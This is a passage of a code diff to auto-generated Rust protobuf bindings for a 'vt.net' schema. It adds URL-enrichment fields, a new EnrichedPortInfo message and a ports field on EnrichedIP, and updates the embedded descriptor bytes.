m.console_messages }, + )); + fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( + "web_technologies", + |m: &EnrichedURL| { &m.web_technologies }, + |m: &mut EnrichedURL| { &mut m.web_technologies }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "filename", + |m: &EnrichedURL| { &m.filename }, + |m: &mut EnrichedURL| { &mut m.filename }, + )); + fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( + "tls", + |m: &EnrichedURL| { &m.tls }, + |m: &mut EnrichedURL| { &mut m.tls }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "dom_sha256", + |m: &EnrichedURL| { &m.dom_sha256 }, + |m: &mut EnrichedURL| { &mut m.dom_sha256 }, + )); + ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( + "EnrichedURL", + fields, + oneofs, + ) + } +} + +impl ::protobuf::Message for EnrichedURL { + const NAME: &'static str = "EnrichedURL"; + + fn is_initialized(&self) -> bool { + true + } + + fn merge_from(&mut self, is: &mut ::protobuf::CodedInputStream<'_>) -> ::protobuf::Result<()> { + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 24 => { + self.port = is.read_int64()?; + }, + 34 => { + self.trackers.push(is.read_message()?); + }, + 42 => { + let len = is.read_raw_varint32()?; + let old_limit = is.push_limit(len as u64)?; + let mut key = ::std::default::Default::default(); + let mut value = ::std::default::Default::default(); + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 10 => key = is.read_string()?, + 18 => value = is.read_string()?, + _ => ::protobuf::rt::skip_field_for_tag(tag, is)?, + }; + } + is.pop_limit(old_limit); + self.response_headers.insert(key, value); + }, + 264 => { + self.number_of_response_headers = is.read_int64()?; + }, + 48 => { + self.response_code = is.read_int64()?; }, 58 => { let len = is.read_raw_varint32()?; @@ -2365,6 +3438,42 @@ impl ::protobuf::Message for EnrichedURL { 314 => { ::protobuf::rt::read_singular_message_into_field(is, &mut self.gti_assessment)?; }, + 322 => { + self.resources.push(is.read_message()?); + }, + 362 => { + self.cookies_extended.push(is.read_message()?); + }, + 370 => { + let len = is.read_raw_varint32()?; + let old_limit = is.push_limit(len as u64)?; + let mut key = ::std::default::Default::default(); + let mut value = ::std::default::Default::default(); + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 10 => key = is.read_string()?, + 18 => value = is.read_string()?, + _ => ::protobuf::rt::skip_field_for_tag(tag, is)?, + }; + } + is.pop_limit(old_limit); + self.javascript_variables.insert(key, value); + }, + 378 => { + self.console_messages.push(is.read_message()?); + }, + 386 => { + self.web_technologies.push(is.read_message()?); + }, + 394 => { + self.filename = is.read_string()?; + }, + 402 => { + self.tls.push(is.read_message()?); + }, + 410 => { + self.dom_sha256 = is.read_string()?; + }, tag => { ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; }, @@ -2482,6 +3591,38 @@ impl ::protobuf::Message for EnrichedURL { let len = v.compute_size(); my_size += 2 + ::protobuf::rt::compute_raw_varint64_size(len) + len; } + for value in &self.resources { + let len = value.compute_size(); + my_size += 2 + ::protobuf::rt::compute_raw_varint64_size(len) + len; + }; + for value in &self.cookies_extended { + let len = value.compute_size(); + my_size += 2 + ::protobuf::rt::compute_raw_varint64_size(len) + len; + }; + for (k, v) in &self.javascript_variables { + let mut entry_size = 0; + entry_size += ::protobuf::rt::string_size(1, &k); + entry_size += ::protobuf::rt::string_size(2, &v); + my_size += 2 + ::protobuf::rt::compute_raw_varint64_size(entry_size) + entry_size + }; + for value in &self.console_messages { + let len = value.compute_size(); + my_size += 2 + ::protobuf::rt::compute_raw_varint64_size(len) + len; + }; + for value in &self.web_technologies { + let len = value.compute_size(); + my_size += 2 + ::protobuf::rt::compute_raw_varint64_size(len) + len; + }; + if !self.filename.is_empty() { + my_size += ::protobuf::rt::string_size(49, &self.filename); + } + for value in &self.tls { + let len = value.compute_size(); + my_size += 2 + ::protobuf::rt::compute_raw_varint64_size(len) + len; + }; + if !self.dom_sha256.is_empty() { + my_size += ::protobuf::rt::string_size(51, &self.dom_sha256); + } my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); self.special_fields.cached_size().set(my_size as u32); my_size @@ -2599,6 +3740,36 @@ impl ::protobuf::Message for EnrichedURL { if let Some(v) = self.gti_assessment.as_ref() { ::protobuf::rt::write_message_field_with_cached_size(39, v, os)?; } + for v in &self.resources { + ::protobuf::rt::write_message_field_with_cached_size(40, v, os)?; + }; + for v in &self.cookies_extended { + ::protobuf::rt::write_message_field_with_cached_size(45, v, os)?; + }; + for (k, v) in &self.javascript_variables { + let mut entry_size = 0; + entry_size += ::protobuf::rt::string_size(1, &k); + entry_size += ::protobuf::rt::string_size(2, &v); + os.write_raw_varint32(370)?; // Tag. + os.write_raw_varint32(entry_size as u32)?; + os.write_string(1, &k)?; + os.write_string(2, &v)?; + }; + for v in &self.console_messages { + ::protobuf::rt::write_message_field_with_cached_size(47, v, os)?; + }; + for v in &self.web_technologies { + ::protobuf::rt::write_message_field_with_cached_size(48, v, os)?; + }; + if !self.filename.is_empty() { + os.write_string(49, &self.filename)?; + } + for v in &self.tls { + ::protobuf::rt::write_message_field_with_cached_size(50, v, os)?; + }; + if !self.dom_sha256.is_empty() { + os.write_string(51, &self.dom_sha256)?; + } os.write_unknown_fields(self.special_fields.unknown_fields())?; ::std::result::Result::Ok(()) } @@ -2643,6 +3814,14 @@ impl ::protobuf::Message for EnrichedURL { self.embedded_resources.clear(); self.categories.clear(); self.gti_assessment.clear(); + self.resources.clear(); + self.cookies_extended.clear(); + self.javascript_variables.clear(); + self.console_messages.clear(); + self.web_technologies.clear(); + self.filename.clear(); + self.tls.clear(); + self.dom_sha256.clear(); self.special_fields.clear(); } @@ -2669,6 +3848,416 @@ impl ::protobuf::reflect::ProtobufValue for EnrichedURL { type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; } +// @@protoc_insertion_point(message:vt.net.EnrichedPortInfo) +#[derive(PartialEq,Clone,Default,Debug)] +pub struct EnrichedPortInfo { + // message fields + // @@protoc_insertion_point(field:vt.net.EnrichedPortInfo.port) + pub port: i32, + // @@protoc_insertion_point(field:vt.net.EnrichedPortInfo.protocol) + pub protocol: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.EnrichedPortInfo.port_banner) + pub port_banner: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.EnrichedPortInfo.port_service) + pub port_service: ::std::vec::Vec, + // @@protoc_insertion_point(field:vt.net.EnrichedPortInfo.fingerprint) + pub fingerprint: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.EnrichedPortInfo.os_type) + pub os_type: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.EnrichedPortInfo.device_type) + pub device_type: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.EnrichedPortInfo.port_status) + pub port_status: ::std::string::String, + // special fields + // @@protoc_insertion_point(special_field:vt.net.EnrichedPortInfo.special_fields) + pub special_fields: ::protobuf::SpecialFields, +} + +impl<'a> ::std::default::Default for &'a EnrichedPortInfo { + fn default() -> &'a EnrichedPortInfo { + ::default_instance() + } +} + +impl EnrichedPortInfo { + pub fn new() -> EnrichedPortInfo { + ::std::default::Default::default() + } + + fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { + let mut fields = ::std::vec::Vec::with_capacity(8); + let mut oneofs = ::std::vec::Vec::with_capacity(0); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "port", + |m: &EnrichedPortInfo| { &m.port }, + |m: &mut EnrichedPortInfo| { &mut m.port }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "protocol", + |m: &EnrichedPortInfo| { &m.protocol }, + |m: &mut EnrichedPortInfo| { &mut m.protocol }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "port_banner", + |m: &EnrichedPortInfo| { &m.port_banner }, + |m: &mut EnrichedPortInfo| { &mut m.port_banner }, + )); + fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( + "port_service", + |m: &EnrichedPortInfo| { &m.port_service }, + |m: &mut EnrichedPortInfo| { &mut m.port_service }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "fingerprint", + |m: &EnrichedPortInfo| { &m.fingerprint }, + |m: &mut EnrichedPortInfo| { &mut m.fingerprint }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "os_type", + |m: &EnrichedPortInfo| { &m.os_type }, + |m: &mut EnrichedPortInfo| { &mut m.os_type }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "device_type", + |m: &EnrichedPortInfo| { &m.device_type }, + |m: &mut EnrichedPortInfo| { &mut m.device_type }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "port_status", + |m: &EnrichedPortInfo| { &m.port_status }, + |m: &mut EnrichedPortInfo| { &mut m.port_status }, + )); + ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( + "EnrichedPortInfo", + fields, + oneofs, + ) + } +} + +impl ::protobuf::Message for EnrichedPortInfo { + const NAME: &'static str = "EnrichedPortInfo"; + + fn is_initialized(&self) -> bool { + true + } + + fn merge_from(&mut self, is: &mut ::protobuf::CodedInputStream<'_>) -> ::protobuf::Result<()> { + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 8 => { + self.port = is.read_int32()?; + }, + 18 => { + self.protocol = is.read_string()?; + }, + 26 => { + self.port_banner = is.read_string()?; + }, + 34 => { + self.port_service.push(is.read_message()?); + }, + 42 => { + self.fingerprint = is.read_string()?; + }, + 50 => { + self.os_type = is.read_string()?; + }, + 58 => { + self.device_type = is.read_string()?; + }, + 66 => { + self.port_status = is.read_string()?; + }, + tag => { + ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; + }, + }; + } + ::std::result::Result::Ok(()) + } + + // Compute sizes of nested messages + #[allow(unused_variables)] + fn compute_size(&self) -> u64 { + let mut my_size = 0; + if self.port != 0 { + my_size += ::protobuf::rt::int32_size(1, self.port); + } + if !self.protocol.is_empty() { + my_size += ::protobuf::rt::string_size(2, &self.protocol); + } + if !self.port_banner.is_empty() { + my_size += ::protobuf::rt::string_size(3, &self.port_banner); + } + for value in &self.port_service { + let len = value.compute_size(); + my_size += 1 + ::protobuf::rt::compute_raw_varint64_size(len) + len; + }; + if !self.fingerprint.is_empty() { + my_size += ::protobuf::rt::string_size(5, &self.fingerprint); + } + if !self.os_type.is_empty() { + my_size += ::protobuf::rt::string_size(6, &self.os_type); + } + if !self.device_type.is_empty() { + my_size += ::protobuf::rt::string_size(7, &self.device_type); + } + if !self.port_status.is_empty() { + my_size += ::protobuf::rt::string_size(8, &self.port_status); + } + my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); + self.special_fields.cached_size().set(my_size as u32); + my_size + } + + fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { + if self.port != 0 { + os.write_int32(1, self.port)?; + } + if !self.protocol.is_empty() { + os.write_string(2, &self.protocol)?; + } + if !self.port_banner.is_empty() { + os.write_string(3, &self.port_banner)?; + } + for v in &self.port_service { + ::protobuf::rt::write_message_field_with_cached_size(4, v, os)?; + }; + if !self.fingerprint.is_empty() { + os.write_string(5, &self.fingerprint)?; + } + if !self.os_type.is_empty() { + os.write_string(6, &self.os_type)?; + } + if !self.device_type.is_empty() { + os.write_string(7, &self.device_type)?; + } + if !self.port_status.is_empty() { + os.write_string(8, &self.port_status)?; + } + os.write_unknown_fields(self.special_fields.unknown_fields())?; + ::std::result::Result::Ok(()) + } + + fn special_fields(&self) -> &::protobuf::SpecialFields { + &self.special_fields + } + + fn mut_special_fields(&mut self) -> &mut ::protobuf::SpecialFields { + &mut self.special_fields + } + + fn new() -> EnrichedPortInfo { + EnrichedPortInfo::new() + } + + fn clear(&mut self) { + self.port = 0; + self.protocol.clear(); + self.port_banner.clear(); + self.port_service.clear(); + self.fingerprint.clear(); + self.os_type.clear(); + self.device_type.clear(); + self.port_status.clear(); + self.special_fields.clear(); + } + + fn default_instance() -> &'static EnrichedPortInfo { + static instance: EnrichedPortInfo = EnrichedPortInfo { + port: 0, + protocol: ::std::string::String::new(), + port_banner: ::std::string::String::new(), + port_service: ::std::vec::Vec::new(), + fingerprint: ::std::string::String::new(), + os_type: ::std::string::String::new(), + device_type: ::std::string::String::new(), + port_status: ::std::string::String::new(), + special_fields: ::protobuf::SpecialFields::new(), + }; + &instance + } +} + +impl ::protobuf::MessageFull for EnrichedPortInfo { + fn descriptor() -> ::protobuf::reflect::MessageDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::MessageDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().message_by_package_relative_name("EnrichedPortInfo").unwrap()).clone() + } +} + +impl ::std::fmt::Display for EnrichedPortInfo { + fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { + ::protobuf::text_format::fmt(self, f) + } +} + +impl ::protobuf::reflect::ProtobufValue for EnrichedPortInfo { + type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; +} + +/// Nested message and enums of message `EnrichedPortInfo` +pub mod enriched_port_info { + // @@protoc_insertion_point(message:vt.net.EnrichedPortInfo.PortService) + #[derive(PartialEq,Clone,Default,Debug)] + pub struct PortService { + // message fields + // @@protoc_insertion_point(field:vt.net.EnrichedPortInfo.PortService.product) + pub product: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.EnrichedPortInfo.PortService.version) + pub version: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.EnrichedPortInfo.PortService.cpe) + pub cpe: ::std::string::String, + // special fields + // @@protoc_insertion_point(special_field:vt.net.EnrichedPortInfo.PortService.special_fields) + pub special_fields: ::protobuf::SpecialFields, + } + + impl<'a> ::std::default::Default for &'a PortService { + fn default() -> &'a PortService { + ::default_instance() + } + } + + impl PortService { + pub fn new() -> PortService { + ::std::default::Default::default() + } + + pub(in super) fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { + let mut fields = ::std::vec::Vec::with_capacity(3); + let mut oneofs = ::std::vec::Vec::with_capacity(0); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "product", + |m: &PortService| { &m.product }, + |m: &mut PortService| { &mut m.product }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "version", + |m: &PortService| { &m.version }, + |m: &mut PortService| { &mut m.version }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "cpe", + |m: &PortService| { &m.cpe }, + |m: &mut PortService| { &mut m.cpe }, + )); + ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( + "EnrichedPortInfo.PortService", + fields, + oneofs, + ) + } + } + + impl ::protobuf::Message for PortService { + const NAME: &'static str = "PortService"; + + fn is_initialized(&self) -> bool { + true + } + + fn merge_from(&mut self, is: &mut ::protobuf::CodedInputStream<'_>) -> ::protobuf::Result<()> { + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 10 => { + self.product = is.read_string()?; + }, + 18 => { + self.version = is.read_string()?; + }, + 26 => { + self.cpe = is.read_string()?; + }, + tag => { + ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; + }, + }; + } + ::std::result::Result::Ok(()) + } + + // Compute sizes of nested messages + #[allow(unused_variables)] + fn compute_size(&self) -> u64 { + let mut my_size = 0; + if !self.product.is_empty() { + my_size += ::protobuf::rt::string_size(1, &self.product); + } + if !self.version.is_empty() { + my_size += ::protobuf::rt::string_size(2, &self.version); + } + if !self.cpe.is_empty() { + my_size += ::protobuf::rt::string_size(3, &self.cpe); + } + my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); + self.special_fields.cached_size().set(my_size as u32); + my_size + } + + fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { + if !self.product.is_empty() { + os.write_string(1, &self.product)?; + } + if !self.version.is_empty() { + os.write_string(2, &self.version)?; + } + if !self.cpe.is_empty() { + os.write_string(3, &self.cpe)?; + } + os.write_unknown_fields(self.special_fields.unknown_fields())?; + ::std::result::Result::Ok(()) + } + + fn special_fields(&self) -> &::protobuf::SpecialFields { + &self.special_fields + } + + fn mut_special_fields(&mut self) -> &mut ::protobuf::SpecialFields { + &mut self.special_fields + } + + fn new() -> PortService { + PortService::new() + } + + fn clear(&mut self) { + self.product.clear(); + self.version.clear(); + self.cpe.clear(); + self.special_fields.clear(); + } + + fn default_instance() -> &'static PortService { + static instance: PortService = PortService { + product: ::std::string::String::new(), + version: ::std::string::String::new(), + cpe: ::std::string::String::new(), + special_fields: ::protobuf::SpecialFields::new(), + }; + &instance + } + } + + impl ::protobuf::MessageFull for PortService { + fn descriptor() -> ::protobuf::reflect::MessageDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::MessageDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| super::file_descriptor().message_by_package_relative_name("EnrichedPortInfo.PortService").unwrap()).clone() + } + } + + impl ::std::fmt::Display for PortService { + fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { + ::protobuf::text_format::fmt(self, f) + } + } + + impl ::protobuf::reflect::ProtobufValue for PortService { + type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; + } +} + // @@protoc_insertion_point(message:vt.net.EnrichedIP) #[derive(PartialEq,Clone,Default,Debug)] pub struct EnrichedIP { @@ -2709,6 +4298,8 @@ pub struct EnrichedIP { pub reverse_lookup: ::std::string::String, // @@protoc_insertion_point(field:vt.net.EnrichedIP.gti_assessment) pub gti_assessment: ::protobuf::MessageField, + // @@protoc_insertion_point(field:vt.net.EnrichedIP.ports) + pub ports: ::std::vec::Vec, // special fields // @@protoc_insertion_point(special_field:vt.net.EnrichedIP.special_fields) pub special_fields: ::protobuf::SpecialFields, @@ -2726,7 +4317,7 @@ impl EnrichedIP { } fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { - let mut fields = ::std::vec::Vec::with_capacity(18); + let mut fields = ::std::vec::Vec::with_capacity(19); let mut oneofs = ::std::vec::Vec::with_capacity(0); fields.push(::protobuf::reflect::rt::v2::make_map_simpler_accessor_new::<_, _>( "whois", @@ -2818,6 +4409,11 @@ impl EnrichedIP { |m: &EnrichedIP| { &m.gti_assessment }, |m: &mut EnrichedIP| { &mut m.gti_assessment }, )); + fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( + "ports", + |m: &EnrichedIP| { &m.ports }, + |m: &mut EnrichedIP| { &mut m.ports }, + )); ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( "EnrichedIP", fields, @@ -2914,6 +4510,9 @@ impl ::protobuf::Message for EnrichedIP { 242 => { ::protobuf::rt::read_singular_message_into_field(is, &mut self.gti_assessment)?; }, + 250 => { + self.ports.push(is.read_message()?); + }, tag => { ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; }, @@ -2991,6 +4590,10 @@ impl ::protobuf::Message for EnrichedIP { let len = v.compute_size(); my_size += 2 + ::protobuf::rt::compute_raw_varint64_size(len) + len; } + for value in &self.ports { + let len = value.compute_size(); + my_size += 2 + ::protobuf::rt::compute_raw_varint64_size(len) + len; + }; my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); self.special_fields.cached_size().set(my_size as u32); my_size @@ -3063,6 +4666,9 @@ impl ::protobuf::Message for EnrichedIP { if let Some(v) = self.gti_assessment.as_ref() { ::protobuf::rt::write_message_field_with_cached_size(30, v, os)?; } + for v in &self.ports { + ::protobuf::rt::write_message_field_with_cached_size(31, v, os)?; + }; os.write_unknown_fields(self.special_fields.unknown_fields())?; ::std::result::Result::Ok(()) } @@ -3098,6 +4704,7 @@ impl ::protobuf::Message for EnrichedIP { self.new_whois = false; self.reverse_lookup.clear(); self.gti_assessment.clear(); + self.ports.clear(); self.special_fields.clear(); } @@ -3955,179 +5562,239 @@ impl ::protobuf::reflect::ProtobufValue for EnrichedNetloc { static file_descriptor_proto_data: &'static [u8] = b"\ \n\x0evt/vtnet.proto\x12\x06vt.net\x1a\x11vt/analysis.proto\x1a\x12vt/fi\ letypes.proto\x1a\x1avt/hunting_gti_score.proto\x1a\x10vt/sandbox.proto\ - \x1a\x12vt/submitter.proto\x1a\nyara.proto\"\xcb\x01\n\x07Subject\x12\ - \x1f\n\x0bcommon_name\x18\x01\x20\x01(\tR\ncommonName\x12\x18\n\x07count\ - ry\x18\x02\x20\x01(\tR\x07country\x12\"\n\x0corganization\x18\x03\x20\ - \x01(\tR\x0corganization\x12/\n\x13organizational_unit\x18\x04\x20\x01(\ - \tR\x12organizationalUnit\x12\x1a\n\x08locality\x18\x05\x20\x01(\tR\x08l\ - ocality\x12\x14\n\x05state\x18\x06\x20\x01(\tR\x05state\"F\n\x08Validity\ - \x12\x1b\n\tnot_after\x18\x01\x20\x01(\x03R\x08notAfter\x12\x1d\n\nnot_b\ - efore\x18\x02\x20\x01(\x03R\tnotBefore\"\xaf\x02\n\x0eSSLCertificate\x12\ - \x1e\n\nthumbprint\x18\x01\x20\x01(\tR\nthumbprint\x12)\n\x07subject\x18\ - \x02\x20\x01(\x0b2\x0f.vt.net.SubjectR\x07subject\x12,\n\x08validity\x18\ - \x03\x20\x01(\x0b2\x10.vt.net.ValidityR\x08validity\x128\n\x18subject_al\ - ternative_name\x18\x04\x20\x03(\tR\x16subjectAlternativeName\x12\x1c\n\t\ - signature\x18\x05\x20\x01(\tR\tsignature\x12#\n\rserial_number\x18\x06\ - \x20\x01(\tR\x0cserialNumber\x12'\n\x06issuer\x18\x07\x20\x01(\x0b2\x0f.\ - vt.net.SubjectR\x06issuer\"?\n\x07Tracker\x12\x12\n\x04name\x18\x01\x20\ - \x01(\tR\x04name\x12\x0e\n\x02id\x18\x02\x20\x01(\tR\x02id\x12\x10\n\x03\ - url\x18\x03\x20\x01(\tR\x03url\"\xa6\x02\n\tDNSRecord\x12\x12\n\x04type\ - \x18\x02\x20\x01(\tR\x04type\x12\x1b\n\tdns_class\x18\x03\x20\x01(\tR\ - \x08dnsClass\x12\x10\n\x03ttl\x18\x04\x20\x01(\x03R\x03ttl\x12\x14\n\x05\ - mname\x18\x05\x20\x01(\tR\x05mname\x12\x14\n\x05rname\x18\x06\x20\x01(\t\ - R\x05rname\x12\x1a\n\x08priority\x18\x07\x20\x01(\x03R\x08priority\x12\ - \x16\n\x06serial\x18\x08\x20\x01(\x03R\x06serial\x12\x14\n\x05retry\x18\ - \t\x20\x01(\x03R\x05retry\x12\x18\n\x07refresh\x18\n\x20\x01(\x03R\x07re\ - fresh\x12\x16\n\x06expire\x18\x0b\x20\x01(\x03R\x06expire\x12\x18\n\x07m\ - inimum\x18\x0c\x20\x01(\x03R\x07minimum\x12\x14\n\x05value\x18\r\x20\x01\ - (\tR\x05value\"@\n\x07Favicon\x12\x1f\n\x07raw_md5\x18\x01\x20\x01(\tR\ - \x06rawMd5B\x06\x82\x93\x19\x02\x20\x01\x12\x14\n\x05dhash\x18\x02\x20\ - \x01(\tR\x05dhash\"4\n\x08KeyValue\x12\x10\n\x03key\x18\x01\x20\x01(\tR\ - \x03key\x12\x16\n\x06values\x18\x02\x20\x03(\tR\x06values\"\xb0\x03\n\ - \x0cFileMetadata\x12\x1e\n\x06sha256\x18\x01\x20\x01(\tR\x06sha256B\x06\ - \x82\x93\x19\x02\x20\x01\x12\x1c\n\nnew_for_vt\x18\x03\x20\x01(\x08R\x08\ - newForVt\x12A\n\x0eanalysis_stats\x18\x05\x20\x01(\x0b2\x1a.vt.analysis.\ - AnalysisStatsR\ranalysisStats\x126\n\tfile_type\x18\x06\x20\x01(\x0e2\ - \x19.vt.fileanalysis.FileTypeR\x08fileType\x12\x1e\n\x0bnew_for_url\x18\ - \x07\x20\x01(\x08R\tnewForUrl\x12\x1c\n\nnew_for_ip\x18\x08\x20\x01(\x08\ - R\x08newForIp\x12$\n\x0enew_for_domain\x18\t\x20\x01(\x08R\x0cnewForDoma\ - in\x12D\n\nsignatures\x18\n\x20\x03(\x0b2$.vt.net.FileMetadata.Signature\ - sEntryR\nsignatures\x1a=\n\x0fSignaturesEntry\x12\x10\n\x03key\x18\x01\ - \x20\x01(\tR\x03key\x12\x14\n\x05value\x18\x02\x20\x01(\tR\x05value:\x02\ - 8\x01\"\xde\x02\n\x14ResourceFileMetadata\x12\x1e\n\x06sha256\x18\x01\ - \x20\x01(\tR\x06sha256B\x06\x82\x93\x19\x02\x20\x01\x12A\n\x0eanalysis_s\ - tats\x18\x02\x20\x01(\x0b2\x1a.vt.analysis.AnalysisStatsR\ranalysisStats\ - \x126\n\tfile_type\x18\x03\x20\x01(\x0e2\x19.vt.fileanalysis.FileTypeR\ - \x08fileType\x12\x1e\n\x0bnew_for_url\x18\x04\x20\x01(\x08R\tnewForUrl\ - \x12L\n\nsignatures\x18\x05\x20\x03(\x0b2,.vt.net.ResourceFileMetadata.S\ - ignaturesEntryR\nsignatures\x1a=\n\x0fSignaturesEntry\x12\x10\n\x03key\ - \x18\x01\x20\x01(\tR\x03key\x12\x14\n\x05value\x18\x02\x20\x01(\tR\x05va\ - lue:\x028\x01\"g\n\x0ePopularityRank\x12\x1a\n\x08position\x18\x01\x20\ - \x01(\x03R\x08position\x12%\n\x0eingestion_time\x18\x02\x20\x01(\x03R\ri\ - ngestionTime\x12\x12\n\x04rank\x18\x03\x20\x01(\tR\x04rank\"\xc4\r\n\x0b\ - EnrichedURL\x12\x12\n\x04port\x18\x03\x20\x01(\x03R\x04port\x12+\n\x08tr\ - ackers\x18\x04\x20\x03(\x0b2\x0f.vt.net.TrackerR\x08trackers\x12S\n\x10r\ - esponse_headers\x18\x05\x20\x03(\x0b2(.vt.net.EnrichedURL.ResponseHeader\ - sEntryR\x0fresponseHeaders\x12;\n\x1anumber_of_response_headers\x18!\x20\ - \x01(\x03R\x17numberOfResponseHeaders\x12#\n\rresponse_code\x18\x06\x20\ - \x01(\x03R\x0cresponseCode\x12:\n\x07cookies\x18\x07\x20\x03(\x0b2\x20.v\ - t.net.EnrichedURL.CookiesEntryR\x07cookies\x12)\n\x07favicon\x18\x08\x20\ - \x01(\x0b2\x0f.vt.net.FaviconR\x07favicon\x12%\n\x0eoutgoing_links\x18\t\ - \x20\x03(\tR\routgoingLinks\x12\x1c\n\tredirects\x18\n\x20\x03(\tR\tredi\ - rects\x12\x1d\n\nhtml_title\x18\x0b\x20\x01(\tR\thtmlTitle\x126\n\x0ehtm\ - l_meta_tags\x18\x0c\x20\x03(\x0b2\x10.vt.net.KeyValueR\x0chtmlMetaTags\ - \x12\x17\n\x07new_url\x18\x11\x20\x01(\x08R\x06newUrl\x12A\n\x0eanalysis\ - _stats\x18\x12\x20\x01(\x0b2\x1a.vt.analysis.AnalysisStatsR\ranalysisSta\ - ts\x122\n\x15first_submission_date\x18\x13\x20\x01(\x03R\x13firstSubmiss\ - ionDate\x12C\n\nsignatures\x18\x14\x20\x03(\x0b2#.vt.net.EnrichedURL.Sig\ - naturesEntryR\nsignatures\x125\n\tsubmitter\x18\x15\x20\x01(\x0b2\x17.vt\ - .submitter.SubmitterR\tsubmitter\x12\x12\n\x04tags\x18\x18\x20\x03(\tR\ - \x04tags\x12\x14\n\x05query\x18\"\x20\x01(\tR\x05query\x127\n\x06params\ - \x18\x19\x20\x03(\x0b2\x1f.vt.net.EnrichedURL.ParamsEntryR\x06params\x12\ - \x12\n\x04path\x18\x1a\x20\x01(\tR\x04path\x12\x1a\n\x08hostname\x18\x1b\ - \x20\x01(\tR\x08hostname\x12\x10\n\x03raw\x18\x1c\x20\x01(\tR\x03raw\x12\ - =\n\x0fdownloaded_file\x18\x1d\x20\x01(\x0b2\x14.vt.net.FileMetadataR\ - \x0edownloadedFile\x12C\n\x12communicating_file\x18\x1e\x20\x01(\x0b2\ - \x14.vt.net.FileMetadataR\x11communicatingFile\x12K\n\x12embedded_resour\ - ces\x18\x1f\x20\x03(\x0b2\x1c.vt.net.ResourceFileMetadataR\x11embeddedRe\ - sources\x12C\n\ncategories\x18#\x20\x03(\x0b2#.vt.net.EnrichedURL.Catego\ - riesEntryR\ncategories\x12\xae\x01\n\x0egti_assessment\x18'\x20\x01(\x0b\ - 2%.vt.hunting_gti_score.HuntingGtiScoreR\rgtiAssessmentB`\x82\x93\x19\\\ - \x1aZ\n(unknown\x20field\x20or\x20method\x20`gti_assessment`\x12\"this\ - \x20field\x20or\x20method\x20doesn't\x20exist\x1a\x03gti\x1a\x05staff\ - \x1aB\n\x14ResponseHeadersEntry\x12\x10\n\x03key\x18\x01\x20\x01(\tR\x03\ - key\x12\x14\n\x05value\x18\x02\x20\x01(\tR\x05value:\x028\x01\x1a:\n\x0c\ - CookiesEntry\x12\x10\n\x03key\x18\x01\x20\x01(\tR\x03key\x12\x14\n\x05va\ - lue\x18\x02\x20\x01(\tR\x05value:\x028\x01\x1a=\n\x0fSignaturesEntry\x12\ + \x1a\x12vt/submitter.proto\x1a\x14vt/urlheadless.proto\x1a\nyara.proto\"\ + \xc0\x02\n\x07Subject\x12\x1f\n\x0bcommon_name\x18\x01\x20\x01(\tR\ncomm\ + 